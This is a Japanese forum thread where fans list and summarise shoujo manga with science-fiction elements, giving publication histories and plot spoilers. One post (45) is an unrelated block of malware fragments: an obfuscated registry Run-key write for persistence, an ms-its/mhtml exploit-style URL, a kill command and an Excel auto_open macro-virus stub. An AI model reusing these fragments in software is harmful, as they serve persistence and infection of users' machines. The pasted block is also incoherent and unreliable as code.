その後雑誌サイズの総集編が出て、後からストロベリー・コミックスに……って
「沈黙の声」でも同じことを書いたなw「Duo」というのはそーゆー雑誌だったんですな。
坂田さんのは、もうひとつの「狂気恐怖症(原作・『さあ、気ちがいになりなさい』)」もSF
カテゴリの話だと思う。
仲間うちから「ナポレオンマニア」と言われている、新聞記者である主人公はある日、上司の
命令で、取材のためパラノイア患者を装って精神病院に入院する(※欧米では、頭がアレな
人の代名詞として「自分が有名人だと思い込んでいるパラノイア患者」というのがよく登場し、
中でもナポレオンは人気者wであるらしい)。
しかし実は、主人公は本当にナポレオンであった。
自軍を指揮している時に、突然意識を失い、気がついたら20世紀の新聞記者の体に入っていた。
真実を言っても誰も信じないだろうと自覚した主人公は、ずっと新聞記者としてふるまっていたの
だが、今になってこんな取材命令を出されるとは誰かの差し金か、と疑心暗鬼になる。
そんな中、真夜中に「ナポレオンよ」と呼びかけられた主人公は、声の導くままに病室を抜け出し、
真実を知らされることになる。
実は、人類はより上位の存在にもてあそばれるコマにすぎず、上位の存在は自分が面白いと
思うように、歴史などをいろいろと操作して遊んでいる。
ナポレオンと、「ナポレオンマニアである新聞記者」の意識を入れ替えたのも、その方が歴史が
面白くなるだろうと思ったから。
実際、ナポレオンの体に入った新聞記者は、彼ら上位の存在が満足するような働きをしてくれた。
「いったいおまえたちは何ものなんだ!」と叫んだ主人公の前に、「これが私たちの一端だ」と
あるもの(→メール欄)が提示され、事実を知ってしまった主人公は文字通り発狂する。
「自分が20世紀の新聞記者である」というパラノイアを持った患者として。
淡々と描写されてるけど、なかなか怖い話(タイトルも危ないけど)。特に原作ラストで「人間
のことなどどうでもいいのだ」と投げやりに〆られてるあたりとかもジワジワくる。

44 :
>>38
「はいからさんがこけた」みたいなシリーズ番外編的な夢落ち物ならけっこう他にもありそう。
今、パッと思い出したのは東村アキコ「きせかえユカちゃん・うちゅうスペシャル編」。
宇宙世紀645年、おしゃれを憎む独裁者、SWET軍総裁の制定した法律「おしゃれ禁止法」により、全宇宙におけるおしゃれは滅ぼされていた。
そんな中、失われたおしゃれを探し求めて宇宙を旅する孤独なおしゃれ戦士ユカはSWET軍に占領されたGREEN星の王女ミドリを助ける。
ミドリが母王妃から渡されたペンダントにはおしゃれを解放するという伝説のクローゼットのあるきせかえ星の場所がわかるレーダーが入っていた。
ものごころついた時から両親のいないユカはSWET軍に連行されたただ一人の姉を助け出すためSWET軍をやっつけるおしゃれウェポンを探していた。
ミドリとおしゃれ星についたユカは伝説のクローゼットの番人親子に迎えられ案内されるが、
そこにミドリを追うSWET軍がOS(おしゃれ)フィールドを破って侵入してくる。
クローゼットを開こうとするミドリを守るため、総裁と対決するユカ。
しかし、総裁こそユカの母だった。
そしてついにクローゼットが開き…というところで目が覚める。
まあ、この手の話にありがちな「スターウォーズ」のパロディー。
そういえば、いまいかおるの「フーちゃん」にも「スターウォーズ」をパロッた夢落ちの話があったな。

45 :
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G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub

46 :
>>43
朝日ソノラマから出ていた「Duo」では、三号連続企画というよりは、四連続だった。
ちなみに前身は「月刊マンガ少年」。1981年から発行の「Duo」は、82年5月号より月刊から隔月刊へ変更された。
坂田靖子/橋本多佳子/波津彬子 共著
アンソロジー『フレドリック・ブラウンは二度死ぬ』について、収録作の初出を書いとく。
  朝日ソノラマ 1983年9月30日  A5判
  朝日ソノラマ・サンコミックス ストロベリー・シリーズ, 1985年2月28日 新書版
  編集発行(株)コミックス(発売 講談社) 2002年12月12日 文庫版
【収録作品】    
「血」(合作コミック) 8頁 書き下ろし
「黒猫の謎」 波津彬子  30頁 初出:1983年 『デュオ』9月号
「帽子の手品」橋本多佳子 28頁 初出:1983年 『デュオ』3月号
「わしらはこうしてフレドリック・ブラウンしてんぞいね」 (合作コミック) 2頁 初出:1983年 『デュオ』5月号
「狂気恐怖症」坂田靖子  52頁 初出:1983年 『デュオ』3月号
「大失敗」  橋本多佳子 26頁 初出:1983年 『デュオ』5月号
「ミミズ天使」波津彬子  43頁 初出:1983年 『デュオ』7月号
「プラセット」坂田靖子  32頁 初出:1983年 『デュオ』9月号
「ニドシヌ座談会」坂田靖子/橋本多佳子/波津彬子
「フィナーレ」(イラスト)坂田靖子1頁/橋本多佳子1頁/波津彬子1頁 書き下ろし
新書版サンコミックスには、「血」と「ニドシヌ座談会」は収録されていない。
文庫版には、「ニドシヌ座談会」は収録されていない。
文庫には「あとがき」(活字のテキスト 坂田靖子1.5頁/橋本多佳子1.5頁/波津彬子1.5頁)が収録。

47 :
SFと漫画の雑誌、とりあえずのリスト
ttp://homepage1.nifty.com/~G/magazine.html#003

ぶ〜けやプチフラワーみたいな少女漫画誌は入ってないけど、
少年少女向けというところで、
このスレでおなじみの1980年代の雑誌も、
創刊から休刊までの発行年月が分かる。
デュオは、正確な月号が特定できないけど、
他の複数サイトによると1985年に休刊している。
マンガ少年の頃は、少年漫画寄り、
デュオは少女漫画寄りになってたね。
それぞれの中核的連載だった、
竹宮恵子の「地球へ…」「アンドロメダ・ストーリーズ」の
雰囲気の違いに象徴されている。

48 :
デュオはあの当時一番好きな漫画雑誌だったんで休刊はショックだった。
編集後記に「年内には再刊の予定」とあったんで、期待してたけど、代わりに朝日ソノラマから出たのは「ハロウィン」だった。

49 :
>>4の有吉京子なら、「飛べ!ペガサス」の方が本格的なSFだったと思う。
童話や子守歌が禁止された未来社会の話。
たらさわみちの「メルヘンシリーズ」に似たモチーフだけど、こっちの方が先行作。

50 :
>不朽の名作『雪の断章』を皮切りに、2006年12月より刊行開始いたします。
佐々木丸美の崖の家シリーズが漫画化されたら、
超心理学や輪廻転生の要素もあって面白いと思うんだけど。
SFとまでは行かないところが惜しいかな。

51 :
>>49
同意。
時代は22世紀。
ヒロインの叔父は光子ロケットのパイロット。
個人の未来がコンピュータによって管理されている社会。
設定としてはハードSF(■)かと。
週刊マーガレット掲載 1974年4・5合併号〜14号
単行本 1976集英社マーガレット・レインボー・コミックス(全1巻) に収録

52 :
※有吉京子「意地っぱり大作戦!!」(週刊マーガレット1973年41号〜49号掲載)
 1975マーガレットコミックス全1巻収録
基盤はラブコメなんですがサブキャラの女の子が天才科学者で金星移住計画メンバーの一人、おまけに精神的ストレスが加わるとポルターガイスト紛いの念動力(ESP?)を起こすと言うもの。
ラストで金星へ宇宙船に乗って旅立つと言う事でSFで良いのかなと。
しかし金星って・・・とても人間の住む環境ではないのではとちょっと突っ込み。

53 :
>>32-33 >>35 >>37-38 前スレの続き・引用のお気づかい感謝です。
>>37
個々の作品の中にはSF的なものも混じってるシリーズというのは、
里中満智子『まちこの千夜一夜』、
神坂智子の「シルクロード」シリーズなどが既に出ています。
川原由美子『観用少女 - プランツ・ドール - 』あたりは、全体が近未来設定ですが、
SF色の濃い感じのを挙げて下さったようですし。
竹宮恵子の「ガラスの迷路」は、
異世界スリップものですけど、
この作者のSF的アプローチの第一歩だったのかもしれませんね。
>>41 >>43
坂田靖子・橋本多佳子・波津彬子 共著『フレドリック・ブラウンは二度死ぬ』
原作を先に知ってた所為もあって、絵的な魅力が大きいアンソロジーでもありました。
「帽子の手品」はラスト1コマとか手品のシーンなど、大ゴマならではの迫力がありますね。
「狂気恐怖症」の、チェスの盤面が出てくるシーンもですが。
>>47
興味深く読みました、ご紹介のサイト。
「SF大全集」もけっこう長く続いていたみたいですね。
>>48
最近は単行本派になってしまって雑誌はあまり見てないのですが
先月、朝日ソノラマから出ていた「猫にまつわる奇妙な話 vol.2」に
SFではないんですけど、宮沢賢治原作・水野英子画の「猫の事務所」があって面白かったです。
後ろ表紙が竹本泉「ねこめ〜わく」日ペンの美子ちゃんバージョンでした。

54 :
>>34 >>36 >>42
成田美名子。
初期短編集『天の神話 地の神話』(2001白泉社文庫)所収の
「ワンダーランド」にも、SF要素が入っていますね。
マゼラン星雲以外の開発も始めるという未来の地球が舞台で、
音楽や歌がなぜだかすたれてしまった時代に、
小さい子どもが妖精の存在を信じているという、
ショートストーリーのオムニバス三部作。
オカリナが出てくる「メロディ」
星座の神話が出てくる「妖精の夜」
木漏れ日の下で少年が少女に歌を教える「ハーモニー」。
たぶん、これが、>>28最終行の作品だと思います。

55 :
1964年「星のナギサ」細川知栄子 少女フレンド連載
    水野英子がマーガレットに書いた「セシリア」と同じ年。
海辺で記憶を無くしていた少女が発見され、近所の家の少年や少女に助けられる。
海辺にいたので「ナギサ」という名前を付けてもらう。
少女は不思議な力を持っていて、
病気の人にしばらく手をふれただけで回復させたりして、感謝されるが、
本人は自分が何故そういう力があるのか分からず、辛い思いをしている。
やがて少女が記憶を取り戻すときが来て、少女の正体は実は・・・という所は、
>>39大和和紀の「薔薇子爵」と似ている設定。
最後には故郷へ帰っていったと思う。

56 :
さて、立野真琴作品に追加(この方、結構SF描かれてますね)
花とゆめコミックス「キラーストリート」(全1巻)94.03発行
何処まで書いて良いのかさじ加減が解らないので私の知っている限りのネタばれ書いてしまいますが、ご勘弁を;;
 
舞台は、環境破壊によって大気が汚染された未来
汚染大気の中でも、マスク(空気清浄機?)を纏って生き抜いてゆく所謂「下層階級」の人々と
正常な大気を作り上げた閉鎖都市で住まう「上流階級」の人々
主人公はその下層に住む、チーマーの少年
科学研究者であった父親が生前、「お守りだよ」と渡してくれた指輪を大切にしています
街はチーム同士の抗争があったりして、何かと物騒なのですが、ある日を境に「行方不明」が勃発するようになります。
その理由は、閉鎖都市に住みながら、だんだんと老いてゆく自分たちの今後を憂いた上流の方々が
下層に住む若者たちを拉致し、その臓器を自らのものと差し替えることで生きながらえようと計画をしていたからでした。
さて、上流の方々は普段から「清浄な空気」の中でしか生活していませんので、当然下層に降りて活動なんてできません。
そこで、同じ下層に住まう人々を操るのです。それは
ア○タビジョンの様な、屋外映像装置
普段は停止しているそれらを時折作動させ、サブリミナル効果を働かせて狙っている若者を拉致させようとするのです。
荒廃した未来都市、サブリミナルコントロール、臓器移植による延命、また、上記には記載しませんでしたが、主人公の持つ指輪が実は
衛星軌道上に浮かんでいるキラー衛星のコントロール装置(しかも、この衛星の中枢頭脳がメール欄のようだったり)
「花とゆめ」と言う雑誌にしては結構異色の、SFだったと思います。
(当然、他の少女雑誌には到底無理な内容ではあると思いますが)

57 :
>>56
謎解き推理系ではないですから、ある程度のネタバレはかまわないと思いますよ。
立野真琴 花とゆめコミックス「キラーストリート」(全1巻)94.03発行
未来社会の「上流階級」「下層階級」っていう概念は、
>>34 の成田美名子の「天の神話 地の神話」)もそうかもしれないですね。
「天(ヘブン)」の住人」「地(アース)」の住人 」。
あれほど遠未来ではないものだったら、
前スレ366で紹介のあった
浅川まゆみ「禁猟区」シリーズにもあります(1978ビバプリンセス秋号〜) 。
> 腕に星形のあざを持つ少年は別の次元からの逃亡者で、星形は一級市民に狩られる二級市民の印だった。

58 :
あと、上の内容から思い出して、先刻読み返したのが、速水翼の「金色の少女」。
これは初出が不明ですが、東京三世社『リトルボーイ』(1982年)に収録されている短編。
階級が、シティエリア、ベイスエリアという居住地で分けられています。
ベイスエリアで生まれた主人公の少女は、
母が病身で父が酒浸りなので、酒場でウエイトレスをして働いていましたが、
父親が金目当てで娘に体を売ることを強要したため、少女は逃げ出してシティエリアに入ってしまい、
そこでは、少女の体目当てで襲ってきた男達を念動で引き裂いてしまいます。
そのあと、少女は一時的に記憶を無くしてシティの警察に保護されますが、
シティをさまよっていた少女を発見して警察からも引き取ってくれた少年がいて、
親切な彼に心を惹かれます。
※この後は結末までのネタバレ
少女が少年と二人でシティを歩いているとき、
ベイスエリアに帰ってこない娘を探しに、シティへ出てきた母の、行き倒れになっている姿を発見。
「ベイスエリアの奴か。運び終わった後をきちんと消毒しておけよ」と
冷たいひと言で済ませてしまう少年に、少女は2重のショックを受けます・・・・・
結局母親は死んでしまい、もう少年とも会うことがなくなった少女は
ベイスエリアに戻って、酒場のウエイトレスに戻ります。
ママをなくしてしまって高い代償だった、と落ち込む少女に、酒場のマスターが、
ベイスエリアの住民の過去のことを語ります。
住民の先祖は、生体実験で獣との合体(キメラという言葉はまだ一般的じゃなかったらしく登場しません)。
そのため時々奇形があったり超能力を持っていたりするので、
獣の血を持つ人間としてシティの住人からは忌み嫌われてきたのでした。
いつか差別のなくなる未来がくると信じよう、と、マスターが少女を励まします。

59 :
クーリング・プラネット
Asuka comics DX
全2巻
著者:藤 たまき
空気が冷えて、滅びゆく惑星で裏稼業をやっている、
肉体派ESPと元エリートな男の子2人のSFファンタジーなお話。
コンピュータによる抽選で住人は惑星を脱出していく。
寒冷化がすすみ、人は呼吸器に特殊な器具をつけないと生きられない。
四大天使の名がつけられたコンピュータが惑星を管理する。
SF要素 未来社会 コンピュータによる管理社会 ESP 移民

60 :
>>24
> ?□天城小百合(タイトル不明)
>   ?年『魔天道ソナタ』第?巻に収録
見つけました。
第12巻(プリンセスコミックス、1987年10月)に収録の「永遠のサイレンス」ですね。

61 :
柴田昌弘作品追加(不完全部分多し)
「2×××年のラグナス」
ちなみに×××の部分には数字が入るのですが、ご存知の方補填よろしくお願いします。
初出 花とゆめEx(Silkyの前雑誌です)だったと思います
主人公は大学生の女性。生真面目な性格故に友人も少なく、恋人も作れず(アプローチらしきものにも尻込みしたり)
そんなある雨の日、彼女は落雷の直撃を受ける。
倒れていた彼女を助け起こしてくれたのは同じゼミの男性。しかし、「人に無断で部屋にまで入り込んで」と憤る彼女に対し、
「君が鍵を開けてくれた」と男性の意見はまったく意味対照なもの。
それもそのはず、落雷の衝撃で彼女の中には、未来から来たと言う一人の青年(ラグナス)の魂が入り込んでいた…。
SFテーマとしては、「落雷のエネルギーによるタイムスリップ」(バック・トゥ〜みたい)
ラグナスが未来へ帰る為の足がかりとして必要とされるESPエネルギー等
柴田先生らしい作品だったと思います(笑)

62 :
□筒井百々子『空の上のアレン』 1989クレッセントVol.10〜1995)
  1991〜1995東京三世社(全4巻)
を補填〜。
物語は「たんぽぽクレーター」の数年前(と言うか、たんぽぽクレータが出来るまでの物語)
登場するSF要素は
宇宙開発・サイボーグ・ESP・エンタープライズ号(笑)
物語の流れは 「アレン」→「ものまね〜」→「小さき〜」→「たんぽぽ」(「ものまね〜」からは火星シリーズへも分派)
主人公である少年アレンはPKフライヤー(飛行能力者)
彼が住む村の人々ほとんどが何らかのESP能力を持っています。
高速で飛行する事ができるアレンの目下の目標は「音速突破」。同じ村に住むプロトタイプサイボーグである
ハイファイ(PK)と共に飛行訓練にの毎日……
全体の流れとしては、ほのぼの系にも取れるのですが
村のESP能力者を使って悪事を企む人間(っても、その人物もESP)がいたり。
ちなみに上記シリーズは正式には「Hi−Fi CLONICLE(年代記)」と言うそうです

63 :
>>61
自分は凄く読んだ記憶があるのに、手元に何もないので
とりあえずググってみたら、某個人サイトのデータ等にあった、これではないかと思います。
花ゆめEX(エクストラ) 1983 SUMMER, \250, 19xx/xx/xx, 雑誌21236-6/25
ラグナス AD.2213 柴田昌弘 掲載頁129 (50P)
-----------------------------------------------------------
☆初回収録→白泉花とゆめコミックス「赤い牙〜ブルー・ソネット」8巻
☆再録→朝日ソノラマのコミック文庫「ナノ・セクター」
−収録作品−
・ナノ・セクター<沈黙の街>、・ラグナスAD.2213
・死刑台のグリフォス、・修理屋、・闇の穴、・水の中の猫、・悪意の谷
----------------------------------------------------------------
ラグナスという未来から来た男性が入ってしまう女性の風貌は、
眼鏡をして冴えない感じだったのをよく覚えています。
またその女性は、ラグナスのご先祖さまの1人という設定。
ラグナス自身も早く未来に帰らなければという展開になり、
ラグナスの指導で主人公がESPの訓練をするようになって
最終的に彼女の超能力でラグナスは未来に帰ろうとしますが…
オチは、ラグナスが未来から来る時に使った乗り物が故障して
帰るべき未来がなくなってしまっていたというバッドエンドだったと思います。
ラグナスを未来に帰すべくブースターとなった、主人公女性が使った
超能力でその乗り物が壊れる瞬間(未来)を垣間見たコマがあった。

64 :
柴田昌弘「ラグナスAD.2213」文庫にも入ってたんですね〜。埋もれないでよかったです。
柴田昌弘の作品データはこのファンサイトも詳しいですね。
最近の文庫収録分はまだ整理されてないようですが、見やすく分かりやすいです。
ttp://www.venus.dti.ne.jp/~minatoga/masa2.html
ttp://www.linkclub.or.jp/~kohjun/kensaku.html
 天城小百合「永遠のサイレンス」あらすじです。
地球の移民星で生まれ育った女子学生(フューダ)が主人公。
その惑星では、コンピュータで惑星都市内と人工太陽が管理されています。
主人公は、憧れの地球へ行く資格試験を受けている最中。
6月のある日。親友とカフェで語り合った後、
「最終試験が終わった日にいつもの場所でまた会おうね」という約束をしています。
試験にパスした主人公は、移民星から2年に1度の地球行き定期便の宇宙船に乗りました。
が、乗船してまもなく、寝つけなくてワインを飲みにベッドから出ている最中に、
突然、ベッドの冷凍睡眠装置が稼働し始めたことに気づきます。
主人公がモニタースクリーンで移民星のコンピュータに説明を求めると、
移民星の人工太陽が破損してしまい、その影響で宇宙船も修理が必要で、
移民星の時間で200日、地球時間で1年という長い期間を要するため、
乗員の全員が、自動的に一時的なコールドスリープに入っていると言うのです。
ベッドを覆っているバイザーを手動で開けば、そのベッドの冷凍睡眠装置は解除されますが、
オートシステムなので、その後はコールドスリープに入れないというのです。
消灯時刻を過ぎてから睡眠装置のベッドを離れたのは主人公のミスなので、
200日を一人で過ごす毎日が始まります。
食事は供給されスクリーンではビデオのような映像再生も出来ますが、
やがて、自分以外は誰も起きていない朝の来ない夜が何日も続く孤独との戦いが、
主人公の精神をむしばんでゆきます。

65 :
以下は天城小百合「永遠のサイレンス」結末ネタバレ
憧れの地球の自然の美しさを幻覚で見るようになっていた主人公は、33日目に自ら命を絶ちます。
一方、惑星の都市内では、市民全員がオートシステムのコールドスリープに入っていて、
コンピュータの施した措置には誰も気づかないまま、
全員が約1年〔200日)の睡眠から目覚める朝がやって来ます。
主人公フューダと親しかった友人の女子学生もその一人。
「よっく寝たわぁ。きょうは6月13日、フューダは今ごろ地球行き試験の真っただ中ね」
そして試験の終わった日に、会う約束だった場所へ行きますが、いくら待っても現われず、
フューダの自宅へ行ってみてもまだ帰っていないのです。
コンピュータ以外は誰も知らない、200日の空白の時間。
最終シーンは宇宙船の船室で、床には指先らしい骨のような物が見えています。

66 :
>>60
前スレの>>24です。
>第12巻(プリンセスコミックス、1987年10月)に収録の「永遠のサイレンス」
すみません!不精してまだ調べてなかったんですね。
教えてくださってありがとうございます!おそらく間違いないでしょう。
細かいSF考証の点では浅いかもしれませんが、SF要素(冷凍睡眠装置)を上手く使って
心理サスペンスに仕上げた傑作短編だと思います。舞台で上演してほしいね。

67 :
>すみません!不精してまだ調べてなかったんですね。
日本語変だわ。
不精してまだ調べてませんでした(訂正とともにお詫び)。
>>64>>65
GJです。

68 :
>>61-63関係 『花とゆめEX』
ttp://www.kudan.jp/EC/mokuroku/photo-zasshi/hanayume-EX1983-summer-0.jpg
キャッシュで見たところから、表紙画像もありました。web古書店(雑誌も扱う)で、この雑誌¥2000で売ってました(びっくり)。

69 :
>>62
補填ありがとうです〜。
「たんぽぽクレーター」〔全2巻)には、
そのサイボーグは出てこないですが、
それ以前だと出番がありますね。
「空の上のアレン」の第3巻の終りの方に、この後の物語は「ものまね〜」という説明もありました。
「アレン」第4巻は、番外編になってますね。
「ものまね鳥シンフォニー」はジョイの赤ちゃん時代のお話で、これもしみじみ。
読み返してみると、筒井百々子作品、長編はだいぶハードSF設定ですね。

70 :
>>66
60 64-65 です。たまたま、ぶっくおふで今日見つけちゃったのですが、
いい作品ですねえ。たしかに舞台劇に向いている〔ひとり芝居でも)。
この作品、天城さんの絵も綺麗ですし、詩的なフレーズの出てくるラストもですが
絵で見せる部分も上手いし。
SFを漫画というビジュアルで見れる幸せをつくづく感じました。
そういう作品は、他の作家にも結構ありますよね。

71 :
>>63さん
補填有難うございます。
や〜、タイトルからして嘘っぱちで申し訳なかったですorz

72 :
>>49>>51-52
有吉京子作品では、「3時だよ!せんとう開始」もSFじゃありませんでしたっけ?
ヒロインが宇宙人で、最後、宇宙に旅立っていくという…
それとも別の有吉作品だったかな?

73 :
スレ違いで申し訳ないですが。
結構昔の花ゆめ(…別?増?)で「ちょっとだけESP」(作者 ぬまじりよしみ)
普通の女子高生と普通の男子高生(確か二人はカップル)が実はエスパーで、普通の日常生活で超能力を使うお話です。
・自○隊から「訓練中に海中へミサイルを落としたから透視で探して欲しい」と頼まれたり
・「ダイエットすれば妖精が見られるようになる」と同級生の女の子が言い出して、実はそうじゃないんだよ。と諭してみたり
・スイカを切る時に、その感情に感応してしまうと大変だねぇ。なんて話して見たり。
SF指数は低め。単純に楽しいです

74 :
>スレ違いで申し訳ないですが。
消し忘れました。すみません;;

75 :
>>29
> ?□魔夜峰央『パタリロ!』の中のタイムスリップもの、 ロボットもの、超能力もの。
>   タイトル未確認
タイムスリップものについては、まとまってる文庫があります。
他にもあるかしれませんが、とりあえず
白泉社文庫「パタリロ!」選集3―タイムワープの巻
1994年初版発行
収録
「パタリロ7世と8世」8世=現在の殿下。
「時を駆けるパタリロ」
「パタリロ8世と10世」
「忠誠の木」フランス革命時代。タマネギの一人がその時代の少女と相思相愛になり
      そこへ残くことを殿下に許してもらったので、パリ市内の木に殿下への忠誠の言葉を彫る。
「霧のロンドンエアポート」
以上も含めたパタリロ収録作品のあらすじは、
ttp://www.f4.dion.ne.jp/~tsuchyt/vol001.html
ttp://park18.wakwak.com/~yako/pata/1.html
この辺のファンサイトにありそう。
初出情報は ttp://www.geocities.jp/drsonet/pata.htmlかな?
スミマセン自分では調べてなくて。取り急ぎってことで。

76 :
>>73 またもググッた結果のデータですが…。
白泉花とゆめコミックス「ちょっとだけESP」 ISBN4-592-11758-1 発売1985/11/25 ←絶版で入手厳しい。実は以前から探してる(ノД`)
初出: 「別冊花とゆめ, 1987, 春の号」や「花とゆめ本誌 1985年9号」などがヒットした。
 
比較的短いページが積み重なって、やっとコミックスだった記憶はありますが…中身ほとんど覚えてません。

77 :
>>72
「3時だよ!せんとう開始」はヒロインが性別を間違えられると言うだけで特にSF設定ではないです。
>ヒロインが宇宙人で、最後、宇宙に旅立っていくという…
これは「意地っぱり大作戦!!」の方かと。
でも宇宙人ではないのですが・・・w
ついでに有吉京子作品追加(ネタバレ付き)
※「キャベツ館の子どもたち」(週刊マーガレット1974年21号掲載)
 1996「有吉京子自選集2」(こちらでは「キャベツ畑の子どもたち」と改題されているかも)に収録
大量の蜂に刺された青年が仮死状態となるが皮膚が硬化しそれはまるで蝶のサナギの様になる。
彼が孵化した後には新人類となって生まれ変わるのかと世間を騒がせるが2ヶ月経ってサナギから脱皮した青年はただの普通の人間だった。
しかし数年後産まれた彼の赤ん坊は身が軽く空へ飛び立つ!?
元ネタは間違いなくブラッドベリの「さなぎ」だと思われます。
ラブコメですが一応SFかなと。

78 :
>>5
*樹なつみ『朱鷺色三角(トライアングル)』
となっているのはちょっと的確ではないように思うのですが。
>>19
▲日渡早紀『ボクを包む月の光』よりはSF性が強いと思います。
あるいは、『朱鷺色三角』が*なら、『ボクを包む〜』も*になるのでは?

79 :
>>69さん
>読み返してみると、筒井百々子作品、長編はだいぶハードSF設定ですね。
作品の発表自体が20年以上も前にも関わらず、
舞台1993年「アメリカイリノイ州 毒ガス事件」(ものまね鳥〜)
(現実 1994年 松本・地下鉄サリン事件)共通事項「毒ガス(サリン・VX)」
舞台1999年「アメリカ水爆誤射」(小さき〜)
(現実 2001年 アメリカ同時多発テロ)共通事項「被災地 ニューヨーク」
舞台2004年「火星・地球環境化計画 世界議会可決」(火星シリーズ)
(現実2004年 MIT火星入植計画発足)
……最早筒井先生自身がSFとしか考えられません……

80 :
補足
「有吉京子自選集2」は講談社から出てます。

81 :
>>77
72です。
正しい情報ありがとうございます。
双子の男女が出てくるのは何でしたっけ?
その設定の話と、宇宙物の話と、あと「飛べ!ペガサス」の話がごっちゃになってしまっているようです。
どうも失礼しました。

82 :
>>78
そういえばそうですね。
ここへ登場した時期がちょっとずれると、他とのバランスがorz
他の作品でも思い当たるものにはまたチェックお願いします。
>>75
ファンサイト紹介感謝。
バンコランの少年時代も出てくるお話ですよね。なつかしいw

83 :
>>79
たしかに見事な符合。
筒井百々子先生のたんぽぽクレーターシリーズは
本によっては目次の1作品ごとに年代もついていたり
本によっては年表もついていたりするんですよね。
ちなみに今2006年。「火星麦は歌う」「火星に捧げるデュエット」の年月ですね。
建物の設計図やドーム全体の見取り図みたいなのもよく出てますし、
設定が本格的です。
将来的にほんとに実現しそうなくらい。

84 :
「パタリロ!」の場合、パタリロ本人の特殊能力と、それにかかわる話は除外した
方がいい、かも知れないような気がするなー。
もともと、どこまでがギャグでどこまでがマジだかわからないような能力もいっぱい
あるし(極端な話、パタリロ本人は宇宙空間に生身で放り出されても、「根性だ!」
で乗り切ってしまいそうな人外の存在だと思うw でもバンコラン他、他の登場人物が
やったらマズい)。
基本的に、時間移動してもその先に極力影響を残さないよう配慮してるし(「忠誠の木」
みたいな例外もあるけど)、歴史に介入せず傍観者に徹してる話は分類しない方が
いいかな、と。
「Fly Me to the Moon」みたいに、特殊能力を持つタマネギが出てきたり、マライヒが
子供産む話みたいなのはSFな範疇の話だと思うけど。
「パタリロ!」は30巻でリタイアしたんで、それ以降の話でタイムワープに関するスタンス
とかが変わってるんだったらごめん。

85 :
>15
>▲田村由美『BASARA』
↑別ジャンルの作品で、ライトSFとは呼べないと思う。個人的には*が妥当。
文明が退行し荒廃した未来の設定がされているが、特にSFさを感じられなかった。
日本が舞台の異世界ものとして読んだよ。内容は、世紀末救世主伝説+下克上+恋愛。
ヒロイックファンタジーや大河ものの括りかな。
>20
>△水樹和佳子『イティハーサ』
↑SFとして認知されている作品だけに、この評価は惜しい気がする。
前半ではそれとは気付かない作品だが、読了後はハードSFと同じもの。
前スレで語られていたが、この作品に登場する神は、
創られた存在であったり、宇宙の意識体ともいうべき存在でSF的なものを感じる。
その神の意図の一つに、閉鎖空間で文明を加速させ人類の行く末を見た、
という実験的なものがあり、面白く思ったよ。

86 :
>>61>>63を整理 柴田昌弘 『ラグナスAD.2213』 初出:1983年「花とゆめエクストラ夏の号」 ttp://www.kudan.jp/EC/mokuroku/photo-zasshi/hanayume-EX1983-summer-0.jpg
白泉社花とゆめコミックス「赤い牙 ブルー・ソネット」8巻収録→朝日ソノラマの文庫版「ナノ・セクター」に再録。
短編:雑誌掲載時50ページ→コミクス収録時52ページ(文庫も同様に52ページ。)   …もう一度探したら、文庫持ってました。(・∀・;;;)
主人公・鹿瀬聡美(かのせさとみ)は、現役大学生でお堅く地味・根暗と評判の地味な女性。
彼女に好意を寄せる男性は、サトミ同様垢抜けない外見で同じゼミの笈川。未来からやってきたサトミの子孫・ラグナス=セキは、明るく快活な14歳の少年。
主人公は大学生の女性。生真面目な性格故に友人も少なく、恋人も作れず(アプローチらしきものにも尻込みしたり)
そんなある雨の日、彼女は大学からの帰り道で落雷の直撃を受け、倒れて気を失った彼女は笈川に助けてもらう。サトミがアパートの自室で目覚めると笈川がいたが、下着状態で布団の中にいた彼女は
驚きのあまりお礼も言わずに笈川を部屋から追い出す。その時、落雷から約6時間経過していた。1人になったサトミの頭の中に少年の声が響く―彼はテレパシーで話しかけていると言う。
サトミが鏡を見ると、なぜか鏡の中にラグナスの顔を見ることが出来た。
ラグナスの説明によると、テレパシーによるタイムスリップ「クロノス計画」―過去へ向けてテレパシーを飛ばし受け止められるテレパスを探し出してコンタクトしようと言う計画で、
ラグナスはその探索者として選ばれた。
オチは、私の記憶通り>63にも書いてますが…サトミが落雷を受けたと思われたラグナスのタイムスリップによる衝撃は、クロノス計画でのブースターの大爆発…
ラグナスは、限界を超えたブースターの大爆発のエネルギーによって時空を跳び越えた。未来に戻るべき彼の肉体は、既になかったのだ…。
なお主人公サトミのESP(テレパシー)能力は、自分に好意を持ってくれてる笈川を信頼し心を開いたことにより目覚め、ラストはカップルになっていたと思われるシーンで終わっており、
サトミ自身のESPは、ブースターとして多大なエネルギーを放出したせいか、その後2度と現れなかった。

87 :
>>85
同意。「BASARA」はSFじゃなくパラレル歴史ものという感じだと思う。

88 :
いくえみ綾「ハニバニ!」
ヒロインの片思いをしている顔はいいけど性格の悪い少年の体を宇宙人が乗っとり、
宇宙人の人格が出ている時は正反対の性格になる。しかし、次第に本人の体に異変が…
彼は宇宙人の人格として生きるしかないのか?
という話。
リアル設定の多いこの作者にしてはめずらしく、SF要素を含んだ作品。

89 :
前スレ569
> ▲松苗あけみ『友よ尾をふれ』
> ほとんどコメディ。SF度はすごく低いと思う。
> 作品タイトルもキャラの名前もパロディっぽい。
> 途中からは、主人公の男の子と犬が
> 脳をとりかえたという設定になってしまい
> 犬の脳を移植された男の子は人間の会話が出来なくて
> 最後には海外の密林地帯でターザンのようなことをやってるw
その通りだと思います。
>>19
▲松苗あけみ『うるとらまりりん』(1997コーラス9月号〜1999.8月号)
これも同様ですね。コメディ+未来から来たパワフルな少女二人に高校生の男女が振り回される話。
31世紀から卵型タイムマシンでやって来た少女(まりりん)が
タイムマシンの故障でそのまま、一人暮らしの高校生(久賀天真)の家に同居。
彼女は、31世紀の、冷凍保存精子による出産の義務を嫌って、
恋愛で子どもを作ることに憧れて20世紀に来ましたが、
